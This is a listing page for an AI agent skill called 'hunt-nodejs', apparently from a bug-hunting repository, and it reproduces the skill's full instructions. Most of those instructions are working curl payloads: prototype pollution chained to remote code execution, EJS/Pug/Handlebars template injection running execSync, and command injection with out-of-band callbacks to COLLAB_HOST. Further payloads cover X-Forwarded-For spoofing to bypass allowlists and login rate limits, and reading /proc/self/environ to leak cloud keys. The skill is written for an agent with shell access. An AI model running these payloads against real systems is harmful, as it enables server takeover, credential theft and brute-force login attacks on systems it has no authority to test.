mcpbeat

Hunt Nodejs

elementalsouls/hunt-nodejs

Hunt Node.js specific vulnerabilities — Prototype Pollution → RCE chains (lodash/merge/assign), Express trust proxy misconfiguration, child_process/eval injection, template engine SSTI (EJS/Pug/Handlebars), path traversal in file servers, require() injection, environment variable exfil via /proc/self/environ. Use when target runs Node.js/Express/Fastify/NestJS/Koa.

2k tokens
context cost
the whole folder, loaded on every use
1
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instructions only
0
copies elsewhere
how many repositories repackaged it
3280
stars on the repo
on the repository, not the skill itself

Install

one command, takes just this skill from the repository
npx skills add https://github.com/elementalsouls/Claude-BugHunter --skill hunt-nodejs

What it tells the agent to use

found in the instruction text
Bash runs shell commands — read the instruction before connecting

The instruction itself

12 sections, as written by the author

HUNT-NODEJS — Node.js Specific Vulnerabilities

Crown Jewel Targets

Prototype Pollution reaching a sink in Node.js backend = Critical RCE.

Highest-value chains:

  • Prototype Pollution → RCE__proto__ injection via lodash.merge / Object.assign → polluted prototype reaches child_process.exec or vm.runInNewContext sink
  • Express trust proxyapp.set('trust proxy', true) without validation → attacker sets X-Forwarded-For to bypass IP allowlists or rate limits
  • EJS/Pug SSTI — template engine receives user input → {{= process.mainModule.require('child_process').execSync('id') }}
  • child_process injection — user input interpolated into shell command string → OS command injection
  • require() path traversal — attacker-controlled module path → load arbitrary file as JS

Attack Surface Signals

X-Powered-By: Express           Confirms Express.js
Node.js in error messages        Runtime detected
package.json exposed             Dependency list + versions
/proc/self/environ accessible    Environment variable exfil
Error stack traces with .js paths  Node.js confirmed
__proto__ in JSON accepted        Prototype pollution candidate

Phase 1 — Fingerprint

# Confirm Node.js/Express
curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"

# Check for package.json / node_modules exposure
curl -s "https://$TARGET/package.json"
curl -s "https://$TARGET/package-lock.json"
curl -s "https://$TARGET/node_modules/.package-lock.json"

# Error-based version detection
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"

Phase 2 — Prototype Pollution Detection

# JSON body injection — test if __proto__ is accepted
curl -s -X POST https://$TARGET/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": "yes"}}'

# Constructor prototype
curl -s -X POST https://$TARGET/api/settings \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# URL query param injection (qs library)
curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"

# Confirm pollution: does a subsequent request reflect the polluted key?
curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"

Phase 3 — Prototype Pollution → RCE Chain

# If pollution is confirmed, attempt to reach dangerous sinks

# Sink 1: child_process via options.shell pollution
curl -s -X POST https://$TARGET/api/update \
  -H "Content-Type: application/json" \
  -d '{
    "__proto__": {
      "shell": "node",
      "NODE_OPTIONS": "--require /proc/self/fd/0",
      "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
    }
  }'

# Sink 2: lodash template pollution (CVE-2021-23337)
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'

# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl -s -X POST https://$TARGET/api/template \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'

# OOB confirmation — check Interactsh for callback

Phase 4 — Express Trust Proxy Abuse

# If Express has trust proxy enabled, X-Forwarded-For is trusted
# Test: does spoofed IP bypass IP-based rate limiting or allowlist?

# Spoof IP to 127.0.0.1 (localhost bypass)
curl -s -X POST https://$TARGET/api/admin/action \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "Content-Type: application/json" \
  -d '{"action": "test"}'

# Spoof to internal IP range
curl -s -X POST https://$TARGET/api/internal \
  -H "X-Forwarded-For: 10.0.0.1" \
  -H "X-Real-IP: 10.0.0.1"

# Rate limit bypass via rotating fake IPs
for i in $(seq 1 50); do
  curl -s https://$TARGET/api/login \
    -H "X-Forwarded-For: 1.2.3.$i" \
    -d '{"email":"[email protected]","password":"wrong"}' \
    -o /dev/null -w "$i: %{http_code}\n"
done

Phase 5 — Template Engine SSTI (EJS / Pug / Handlebars)

# EJS SSTI — if user input reaches EJS template context
# Test basic: <%= 7*7 %> should return 49
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= 7*7 %>"}'

# EJS RCE payload
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'

# Pug SSTI
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'

# Handlebars — prototype pollution via template
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'

Phase 6 — child_process Command Injection

# Look for endpoints that run shell commands with user input
# Signals: /api/convert, /api/exec, /api/ping, /api/scan

# Basic injection test
curl -s "https://$TARGET/api/ping?host=127.0.0.1;id"
curl -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
curl -s -X POST https://$TARGET/api/exec \
  -H "Content-Type: application/json" \
  -d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'

# OOB via DNS
curl -s "https://$TARGET/api/dns?host=\$(curl+COLLAB_HOST/dns-ci).example.com"

Phase 7 — /proc/self/environ Exfil

# If LFI exists on Node.js app, /proc/self/environ leaks env vars
curl -s "https://$TARGET/api/file?path=/proc/self/environ"
curl -s "https://$TARGET/api/read?file=../../../../proc/self/environ"

# Also check:
curl -s "https://$TARGET/api/file?path=/proc/self/cmdline"  # full command line
curl -s "https://$TARGET/api/file?path=/proc/self/cwd"       # working directory

Chain Table

| Node.js finding | Chain to | Impact |

|----------------|----------|--------|

| Prototype pollution confirmed | Find RCE sink (child_process, eval) | Critical RCE |

| Express trust proxy | Bypass IP allowlist / rate limit | Auth bypass / DoS bypass |

| SSTI in template engine | OS command execution | Critical RCE |

| child_process injection | id && curl COLLAB_HOST | Critical RCE |

| /proc/self/environ via LFI | AWS_ACCESS_KEY_ID leaked | Cloud compromise |


Validation

✅ Prototype pollution: key appears in subsequent API responses without being sent

✅ RCE chain: OOB callback received OR id output in response

✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist

Severity:

  • Prototype pollution → RCE: Critical
  • SSTI → RCE: Critical
  • child_process injection: Critical
  • Trust proxy → rate limit bypass: Medium
  • /proc/self/environ exfil: High (if cloud keys present)

How to use it

Copy the folder

Take elementalsouls/hunt-nodejs from the repository into ~/.claude/skills for personal use, or into .claude/skills inside a project.

Check the name does not clash

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